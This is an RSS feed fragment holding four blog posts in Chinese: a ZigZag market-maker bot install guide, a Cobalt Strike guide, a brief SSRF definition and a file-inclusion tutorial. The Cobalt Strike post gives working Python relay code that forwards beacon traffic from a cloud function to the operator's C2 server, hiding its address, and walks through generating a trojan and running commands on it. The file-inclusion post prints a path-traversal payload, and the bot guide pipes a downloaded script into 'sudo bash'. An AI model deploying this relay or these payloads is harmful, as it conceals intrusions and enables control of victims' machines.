            <description><![CDATA[ZigZag ：一个部署在 L2 解决方案 zkSync 和 StarkNet 上的去中心化订单簿交易所zkRollups的领先者是zkSync和starknet。当你体验他们超快的转账速度和极低gas时，你无可避免使用他们生态目前唯一的Dex — Zigzag 本文介绍如何简单快速的运行做市机器人，抛去繁杂的操作，只需要拥有一台服务器，小白也能无脑运行机器人。 discord链接 https://discord.gg/nm7Qmp3v第一步获得一个ubuntu服务器，此处我用的是腾讯云的服务器。原因有二，1是国内大厂，微信即可付款，不需要去国外厂商注册kyc,还要visa卡，paypal付款。二价格便宜，32款钱一个月，折合5U不到。购买路径如下 购买链接 https://curl.qcloud.com/AVzuhpfO 购买方式套餐可按需求购买时常，个人建议买32元/月，时常一年。因为zigzag机器人会不定时抽查，查到机器人不在运行，会被取消身份。同时，其他项目现在很多也需要服务器去运行一些任务，一举多得。购买完成后，点击右上角控制台，进入控制台后搜索轻量应用服务器即可看到...]]></description>
            <content:encoded><![CDATA[<h2 id="h-zigzag-l2-zksync-starknet" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">ZigZag ：一个部署在 L2 解决方案 zkSync 和 StarkNet 上的去中心化订单簿交易所</h2><p>zkRollups的领先者是zkSync和starknet。当你体验他们超快的转账速度和极低gas时，你无可避免使用他们生态目前唯一的Dex — Zigzag</p><p>本文介绍如何简单快速的运行做市机器人，抛去繁杂的操作，只需要拥有一台服务器，小白也能无脑运行机器人。</p><p>discord链接</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://discord.gg/nm7Qmp3v">https://discord.gg/nm7Qmp3v</a></p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">第一步</h2><p>获得一个ubuntu服务器，此处我用的是腾讯云的服务器。原因有二，1是国内大厂，微信即可付款，不需要去国外厂商注册kyc,还要visa卡，paypal付款。二价格便宜，32款钱一个月，折合5U不到。购买路径如下</p><p>购买链接</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://curl.qcloud.com/AVzuhpfO">https://curl.qcloud.com/AVzuhpfO</a></p><p>购买方式</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/82715404ad278b1bd7f633c14494273214ed792551f722d625038dbb8ee76e96.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/67cf1bcfe7a2f1d5c3637068c3b6d655821f1944e8d6f19dba810d50511b702f.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>套餐可按需求购买时常，个人建议买32元/月，时常一年。因为zigzag机器人会不定时抽查，查到机器人不在运行，会被取消身份。同时，其他项目现在很多也需要服务器去运行一些任务，一举多得。</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/0dcf266ffe657995558dad424b16feee0483b0925249591cff38ab7bd7b8ef7e.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>购买完成后，点击右上角控制台，进入控制台后搜索轻量应用服务器</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/14f552133ceb7f2ab903aced39caa912de8aa36f37613d13260c5c1c1ed2ca55.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>即可看到已购买的服务器</p><p>红框位置为ip地址</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/97f245b08a8a1fbe775a5186d9479b442afc029dbd6f2ead5abd3fcba57487ed.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-api" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">api公钥</h2><p>官网注册登录，然后申请API <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://cryptowat.ch/zh-cn/home">https://cryptowat.ch/zh-cn/home</a></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/cf6504072c49066d2bb50793a066064132a553604bffc425490b8dde734ea5e6.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>获得公钥</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/9a8096bda0e1dfa7029700841d68f1edd4f7c194afb63399ed9dc07f07102e9b.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">连接服务器</h2><p>进入服务器详情后，点击一键登陆即可登录服务器</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/27b5e50a9c16d5779a02fa8d454821bd8e73c875eabae7dcccda79903b9323b8.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/43ee22e84aad7b05283f74ba1266f48f1a35d2fcb8d8c725e1faae747f296074.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>复制如下代码，更改其中的api喂价公钥，和钱包私钥为自己的</p><pre data-type="codeBlock" text="git clone https://github.com/ZigZagExchange/market-maker.git
cp market-maker/config.json.EXAMPLE market-maker/config.json
sed -i &apos;s/&quot;cryptowatchApiKey&quot;: &quot;aaaaxxx&quot;,/&quot;cryptowatchApiKey&quot;: &quot;api喂价公钥&quot;,/&apos; market-maker/config.json
sed -i &apos;s/&quot;&quot;,/&quot;钱包私钥&quot;,/&apos; market-maker/config.json
sed -i &apos;s/&quot;maxSize&quot;: 100,/&quot;maxSize&quot;: 0.1,/&apos; market-maker/config.json
sed &apos;s/&quot;active&quot;: true/&quot;active&quot;: false/g&apos; market-maker/config.json
sed -i &apos;s/&quot;active&quot;: false/&quot;active/&quot;: true/&apos; market-maker/config.json
curl -sL https://deb.nodesource.com/setup_16.x | sudo -E bash -
sudo apt install -y nodejs
cd market-maker
npm install
npm i pm2 -g
pm2 start marketmaker.js
"><code>git clone https:<span class="hljs-comment">//github.com/ZigZagExchange/market-maker.git</span>
cp market<span class="hljs-operator">-</span>maker<span class="hljs-operator">/</span>config.json.EXAMPLE market<span class="hljs-operator">-</span>maker<span class="hljs-operator">/</span>config.json
sed <span class="hljs-operator">-</span>i <span class="hljs-string">'s/"cryptowatchApiKey": "aaaaxxx",/"cryptowatchApiKey": "api喂价公钥",/'</span> market<span class="hljs-operator">-</span>maker<span class="hljs-operator">/</span>config.json
sed <span class="hljs-operator">-</span>i <span class="hljs-string">'s/"",/"钱包私钥",/'</span> market<span class="hljs-operator">-</span>maker<span class="hljs-operator">/</span>config.json
sed <span class="hljs-operator">-</span>i <span class="hljs-string">'s/"maxSize": 100,/"maxSize": 0.1,/'</span> market<span class="hljs-operator">-</span>maker<span class="hljs-operator">/</span>config.json
sed <span class="hljs-string">'s/"active": true/"active": false/g'</span> market<span class="hljs-operator">-</span>maker<span class="hljs-operator">/</span>config.json
sed <span class="hljs-operator">-</span>i <span class="hljs-string">'s/"active": false/"active/": true/'</span> market<span class="hljs-operator">-</span>maker<span class="hljs-operator">/</span>config.json
curl <span class="hljs-operator">-</span>sL https:<span class="hljs-comment">//deb.nodesource.com/setup_16.x | sudo -E bash -</span>
sudo apt install <span class="hljs-operator">-</span>y nodejs
cd market<span class="hljs-operator">-</span>maker
npm install
npm i pm2 <span class="hljs-operator">-</span>g
pm2 start marketmaker.js
</code></pre><p>整个粘贴进服务器即可</p><p>需要查看运行日志</p><pre data-type="codeBlock" text="tail -f /root/.pm2/logs/marketmaker-out.log 
"><code>tail <span class="hljs-operator">-</span>f <span class="hljs-operator">/</span>root<span class="hljs-operator">/</span>.pm2/logs<span class="hljs-operator">/</span>marketmaker<span class="hljs-operator">-</span>out.log 
</code></pre><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/867bf5196e1ebb4eeb03a6ccefb62e2cc6236c5436b62d2b9e428ce28c270aa6.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">结语</h2><p>zksyn牛逼，zigzag牛逼</p><p>我的推特是</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/newbee740/">https://twitter.com/newbee740/</a></p><p>有问题来dc找我，我的id 是</p><p>Newbee740|ChainIN#6794</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/6958d7875ab00945ff482d01eb8de4c0d89e343ada27a7a271826bfdd874fbcb.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure>]]></content:encoded>
            <author>newbee740@newsletter.paragraph.com (Newbee740)</author>
        </item>
        <item>
            <title><![CDATA[cobal Strike云函数配置与相关踩坑]]></title>
            <link>https://paragraph.com/@newbee740/cobal-strike</link>
            <guid>Ceh8CO2Gz07vsvMuRtjW</guid>
            <pubDate>Tue, 01 Mar 2022 15:46:12 GMT</pubDate>
            <description><![CDATA[介绍cs利用函数进行主机上线转换后，可以隐藏自己的云函数对css之间的网络转换进行中转，所以在ca中查看域名请求的所有连接时，查看云函数的请求地址，而在css看到了来自云函数的服务员的云函数配置腾讯云我这里使用的是腾讯函数，家庭的云函数也很大不差。我们首先需要注册一个账号，打开其中的云函数功能。image-20211016221516410新建云函数选择自定义创建，名称随意，运行环境python3.6image-20211016221901992云函数直接使用网上流传的代码代码 注意替换自己的ip和端口为主机监听的ip和端口# -*- coding: utf8 -*- import json,base64,requests def main_handler(event,context): C2 = 'http://ip:port' headers = event['headers'] path = event['path'] ip = event['requestContext']['sourceIp'] headers = event['headers'] headers['X...]]></description>
            <content:encoded><![CDATA[<h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">介绍</h2><p>cs利用函数进行主机上线转换后，可以隐藏自己的云函数对css之间的网络转换进行中转，所以在ca中查看域名请求的所有连接时，查看云函数的请求地址，而在css看到了来自云函数的服务员的</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">云函数配置</h2><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">腾讯云</h3><p>我这里使用的是腾讯函数，家庭的云函数也很大不差。我们首先需要注册一个账号，打开其中的云函数功能。</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="">image-20211016221516410</figcaption></figure><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">新建云函数</h3><p>选择自定义创建，名称随意，运行环境python3.6</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="">image-20211016221901992</figcaption></figure><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">云函数</h3><p>直接使用网上流传的代码代码</p><p><strong>注意替换自己的ip和端口为主机监听的ip和端口</strong></p><pre data-type="codeBlock" text="# -*- coding: utf8 -*-
import json,base64,requests
def main_handler(event,context):
    C2 = &apos;http://ip:port&apos;
    headers = event[&apos;headers&apos;]
    path = event[&apos;path&apos;]
    ip = event[&apos;requestContext&apos;][&apos;sourceIp&apos;]
    headers = event[&apos;headers&apos;]
    headers[&apos;X-Forwarded-For&apos;] = ip
    print(event)
    if event[&apos;httpMethod&apos;] == &apos;GET&apos;:
        resp = requests.get(C2+path,headers=headers,verify=False)
    else:
        resp = requests.post(C2+path,data=event[&apos;body&apos;],headers=headers,verify=False)
        print(resp.headers)
        print(resp.content)

    response={
        &quot;isBase64Encoded&quot;:True,
        &quot;statusCode&quot;:resp.status_code,
        &quot;headers&quot;:dict(resp.headers),
        &quot;body&quot;:str(base64.b64encode(resp.content))[2:-1]
    }
    return response
"><code># <span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span> coding: utf8 <span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span>
<span class="hljs-keyword">import</span> <span class="hljs-title">json</span>,<span class="hljs-title">base64</span>,<span class="hljs-title">requests</span>
<span class="hljs-title">def</span> <span class="hljs-title">main_handler</span>(<span class="hljs-title"><span class="hljs-keyword">event</span></span>,<span class="hljs-title">context</span>):
    <span class="hljs-title">C2</span> <span class="hljs-operator">=</span> <span class="hljs-string">'http://ip:port'</span>
    <span class="hljs-title">headers</span> <span class="hljs-operator">=</span> <span class="hljs-title"><span class="hljs-keyword">event</span></span>[<span class="hljs-string">'headers'</span>]
    <span class="hljs-title">path</span> <span class="hljs-operator">=</span> <span class="hljs-title"><span class="hljs-keyword">event</span></span>[<span class="hljs-string">'path'</span>]
    <span class="hljs-title">ip</span> <span class="hljs-operator">=</span> <span class="hljs-title"><span class="hljs-keyword">event</span></span>[<span class="hljs-string">'requestContext'</span>][<span class="hljs-string">'sourceIp'</span>]
    <span class="hljs-title">headers</span> <span class="hljs-operator">=</span> <span class="hljs-title"><span class="hljs-keyword">event</span></span>[<span class="hljs-string">'headers'</span>]
    <span class="hljs-title">headers</span>[<span class="hljs-string">'X-Forwarded-For'</span>] <span class="hljs-operator">=</span> <span class="hljs-title">ip</span>
    <span class="hljs-title">print</span>(<span class="hljs-title"><span class="hljs-keyword">event</span></span>)
    <span class="hljs-title"><span class="hljs-keyword">if</span></span> <span class="hljs-title"><span class="hljs-keyword">event</span></span>[<span class="hljs-string">'httpMethod'</span>] <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-string">'GET'</span>:
        <span class="hljs-title">resp</span> <span class="hljs-operator">=</span> <span class="hljs-title">requests</span>.<span class="hljs-title">get</span>(<span class="hljs-title">C2</span><span class="hljs-operator">+</span><span class="hljs-title">path</span>,<span class="hljs-title">headers</span><span class="hljs-operator">=</span><span class="hljs-title">headers</span>,<span class="hljs-title">verify</span><span class="hljs-operator">=</span><span class="hljs-title">False</span>)
    <span class="hljs-title"><span class="hljs-keyword">else</span></span>:
        <span class="hljs-title">resp</span> <span class="hljs-operator">=</span> <span class="hljs-title">requests</span>.<span class="hljs-title">post</span>(<span class="hljs-title">C2</span><span class="hljs-operator">+</span><span class="hljs-title">path</span>,<span class="hljs-title">data</span><span class="hljs-operator">=</span><span class="hljs-title"><span class="hljs-keyword">event</span></span>[<span class="hljs-string">'body'</span>],<span class="hljs-title">headers</span><span class="hljs-operator">=</span><span class="hljs-title">headers</span>,<span class="hljs-title">verify</span><span class="hljs-operator">=</span><span class="hljs-title">False</span>)
        <span class="hljs-title">print</span>(<span class="hljs-title">resp</span>.<span class="hljs-title">headers</span>)
        <span class="hljs-title">print</span>(<span class="hljs-title">resp</span>.<span class="hljs-title">content</span>)

    <span class="hljs-title">response</span><span class="hljs-operator">=</span>{
        <span class="hljs-string">"isBase64Encoded"</span>:<span class="hljs-title">True</span>,
        <span class="hljs-string">"statusCode"</span>:<span class="hljs-title">resp</span>.<span class="hljs-title">status_code</span>,
        <span class="hljs-string">"headers"</span>:<span class="hljs-title">dict</span>(<span class="hljs-title">resp</span>.<span class="hljs-title">headers</span>),
        <span class="hljs-string">"body"</span>:<span class="hljs-title">str</span>(<span class="hljs-title">base64</span>.<span class="hljs-title">b64encode</span>(<span class="hljs-title">resp</span>.<span class="hljs-title">content</span>))[2:<span class="hljs-operator">-</span>1]
    }
    <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title">response</span>
</code></pre><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="">image-20211016222710841</figcaption></figure><p>点击完成即可</p><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">配置触发网关</h3><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="">image-20211016222902249</figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="">image-20211016222940194</figcaption></figure><p><strong>触发方式选择API网关触发集成请求</strong></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="">image-20211016223035544</figcaption></figure><p>提交，获取API配置相关信息</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="">image-20211016223323158</figcaption></figure><p>记住访问路径，需要使用</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://service-l6pw2mll-1301629007.sh.apigw.tencentcs.com/release/cs_tencent">https://service-l6pw2mll-1301629007.sh.apigw.tencentcs.com/release/cs_tencent</a></p><p>点击api服务名，进入配置API</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="">image-20211016223525932</figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="">image-20211016223712661</figcaption></figure><p>修改路径为/</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="">image-20211016223800672</figcaption></figure><p>完成发布服务</p><h2 id="h-cs" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">cs配置</h2><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">监听器一</h3><p>添加监听器，这个监听器生成shellcode，但是实际使用不需要连接请求80个端口，也可以使用其他shellcode，生成器连接到腾讯云函数的cs shellcode，则可能需要生成监听器</p><p><strong>这里需注意坑点：</strong></p><ul><li><p>HTTP Hosts 是记住的域名部分，不可访问协议和后面的路径</p></li><li><p>Beacon HTTP端口必须为80,Beacon HTTPS端口必须为443</p></li></ul><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="">image-20211016224525073</figcaption></figure><p>点击生成</p><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">监听器二</h3><p>添加监听器二，这个监听器为真正接受Beacon回连的监听器，使用Payload需与监听器一相同</p><p>HTTP Hosts 为自己的服务器IP</p><p>港口为自己建会港口</p><p>需要与云函数代码配置中的IP端口保持一致</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="">image-20211016225516026</figcaption></figure><p>点击生成</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">测试上线</h2><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">生成测试木马</h3><p>监听器选择最成先生的监听器一，即监听云域的监听器</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="">image-20211016225755811</figcaption></figure><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">上线运行</h3><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="">image-20211016225958051</figcaption></figure><p>这里ip是云中举办的转，所以来源是云中举办的ip</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">坑点</h2><p>测试的时候使用插件，发现k8大佬的Ladon怎么都用不了，直接上传源程序到Beacon中也无法上传</p><p>折腾了好久，最终定位到了问题点</p><p>原因是因为此时云函数配置中的把命令连传中，因为Beacon传，转向服务器再将文件中处理所以，等会执行。原因是经过测试，可能上传的kb文件。</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="">image-20211016230501312</figcaption></figure><p>时间解决方法很简单，直接拉满就可以了</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="">image-20211016230857797</figcaption></figure><p>然后可以正常执行命令</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="">image-20211016231041680</figcaption></figure>]]></content:encoded>
            <author>newbee740@newsletter.paragraph.com (Newbee740)</author>
        </item>
        <item>
            <title><![CDATA[SSRF]]></title>
            <link>https://paragraph.com/@newbee740/ssrf</link>
            <guid>3lq6ZJGMi1XlhCepEAm4</guid>
            <pubDate>Tue, 08 Feb 2022 10:54:17 GMT</pubDate>
            <description><![CDATA[SSRF(Server-Side Request Forgery:服务器端请求伪造)，其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制 导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据 数据流:攻击者—–>服务器—->目标地址 简单理解：服务器接受了客户端输入的URL，然后服务器端拿URL去请求并返回给你。]]></description>
            <content:encoded><![CDATA[<p>SSRF(Server-Side Request Forgery:服务器端请求伪造)，其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制</p><p>导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据</p><p>数据流:攻击者—–&gt;服务器—-&gt;目标地址</p><p>简单理解：服务器接受了客户端输入的URL，然后服务器端拿URL去请求并返回给你。</p>]]></content:encoded>
            <author>newbee740@newsletter.paragraph.com (Newbee740)</author>
        </item>
        <item>
            <title><![CDATA[File Inclusion]]></title>
            <link>https://paragraph.com/@newbee740/file-inclusion</link>
            <guid>I363AVHyv01LS8bgBLxp</guid>
            <pubDate>Tue, 08 Feb 2022 10:50:09 GMT</pubDate>
            <description><![CDATA[简介File Inclusion(文件包含漏洞)，是一个功能。在各种开发语言中都提供了内置的文件包含函数，其可以使开发人员在一个代码文件中直接包含（引入）另外一个代码文件。 比如 在PHP中，提供了： include(),include_once(),require(),require_once(),这些文件包含函数在代码设计中被经常使用到。 大多数情况下，文件包含函数中包含的代码文件是固定的，因此也不会出现安全问题。 但是，有些时候，文件包含的代码文件被写成了一个变量，且这个变量可以由前端用户传进来，这种情况下，如果没有做足够的安全考虑，则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行，从而造成恶意操作。文件包含函数include( )当使用该函数包含文件时，只有代码执行到 include()函数时才将文件包含 进来，发生错误时之给出一个警告，继续向下执行。include_once( )功能与 Include()相同，区别在于当重复调用同一文件时，程序只调用一次require( )require()与 include()的区别在于require()...]]></description>
            <content:encoded><![CDATA[<h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">简介</h2><p>File Inclusion(文件包含漏洞)，是一个功能。在各种开发语言中都提供了内置的文件包含函数，其可以使开发人员在一个代码文件中直接包含（引入）另外一个代码文件。 比如 在PHP中，提供了： include(),include_once(),require(),require_once(),这些文件包含函数在代码设计中被经常使用到。</p><p>大多数情况下，文件包含函数中包含的代码文件是固定的，因此也不会出现安全问题。 但是，有些时候，文件包含的代码文件被写成了一个变量，且这个变量可以由前端用户传进来，这种情况下，如果没有做足够的安全考虑，则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行，从而造成恶意操作。</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">文件包含函数</h2><h3 id="h-include" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">include( )</h3><p>当使用该函数包含文件时，只有代码执行到 include()函数时才将文件包含 进来，发生错误时之给出一个警告，继续向下执行。</p><h3 id="h-includeonce" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">include_once( )</h3><p>功能与 Include()相同，区别在于当重复调用同一文件时，程序只调用一次</p><h3 id="h-require" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">require( )</h3><p>require()与 include()的区别在于require()执行如果发生错误，函数会输出 错误信息，并终止脚本的运行。</p><h3 id="h-requireonce" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">require_once( )</h3><p>功能与 require()相同，区别在于当重复调用同一文件时，程序只调用一次。</p><h2 id="h-local" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Local</h2><p>本地文件包含漏洞：仅能够对服务器本地的文件进行包含，由于服务器上的文件并不是攻击者所能够控制的，因此该情况下，攻击着更多的会包含一些 固定的系统配置文件，从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞，从而形成更大的威力。</p><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">源码分析：</h3><pre data-type="codeBlock" text="if(isset($_GET[&apos;submit&apos;]) &amp;&amp; $_GET[&apos;filename&apos;]!=null){
    $filename=$_GET[&apos;filename&apos;];
    include &quot;include/$filename&quot;;
}
"><code><span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'submit'</span>]) &#x26;&#x26; <span class="hljs-variable">$_GET</span>[<span class="hljs-string">'filename'</span>]!=<span class="hljs-literal">null</span>){
    <span class="hljs-variable">$filename</span>=<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'filename'</span>];
    <span class="hljs-keyword">include</span> <span class="hljs-string">"include/<span class="hljs-subst">$filename</span>"</span>;
}
</code></pre><p>$_GET[&apos;filename&apos;]参数开发者没有经过严格的过滤，直接带入了include的函数，攻击者可以修改filename的值，执行非预期的操作。</p><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">安全的写法:</h3><p>使用白名单，严格指定包含的文件名</p><pre data-type="codeBlock" text="if($filename==&apos;file1.php&apos; || $filename==&apos;file2.php&apos; || $filename==&apos;file3.php&apos; ||             $filename==&apos;file4.php&apos; || $filename==&apos;file5.php&apos;){
         include &quot;include/$filename&quot;;
}
"><code><span class="hljs-keyword">if</span>($filename<span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-string">'file1.php'</span> <span class="hljs-operator">|</span><span class="hljs-operator">|</span> $filename<span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-string">'file2.php'</span> <span class="hljs-operator">|</span><span class="hljs-operator">|</span> $filename<span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-string">'file3.php'</span> <span class="hljs-operator">|</span><span class="hljs-operator">|</span>             $filename<span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-string">'file4.php'</span> <span class="hljs-operator">|</span><span class="hljs-operator">|</span> $filename<span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-string">'file5.php'</span>){
         include <span class="hljs-string">"include/$filename"</span>;
}
</code></pre><p>Linux 或Windows，我们都可以使用 “../” 的方式进行目录穿越，读取其他目录下的文件</p><h3 id="h-payload" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">## payload</h3><p>?filename=../../../../Windows/System32/drivers/etc/hosts #读取本地域名解析文件</p><h2 id="h-rrmote" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Rrmote</h2><p>远程文件包含漏洞：能够通过url地址对远程的文件进行包含，这意味着攻击者可以传入任意的代码，这种情况没啥好说的，准备挂彩。因此，在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数，如果非要这么做，也一定要做严格的白名单策略进行过滤。</p><p>注意：远程包含漏洞的前提：如果使用的incldue和require，则需要在phpStudy或php.ini中配置开启下面选项</p><pre data-type="codeBlock" text="allow_url_fopen=on //默认打开
allow_url_include=on //默认关闭
"><code><span class="hljs-attr">allow_url_fopen</span>=<span class="hljs-literal">on</span> //默认打开
<span class="hljs-attr">allow_url_include</span>=<span class="hljs-literal">on</span> //默认关闭
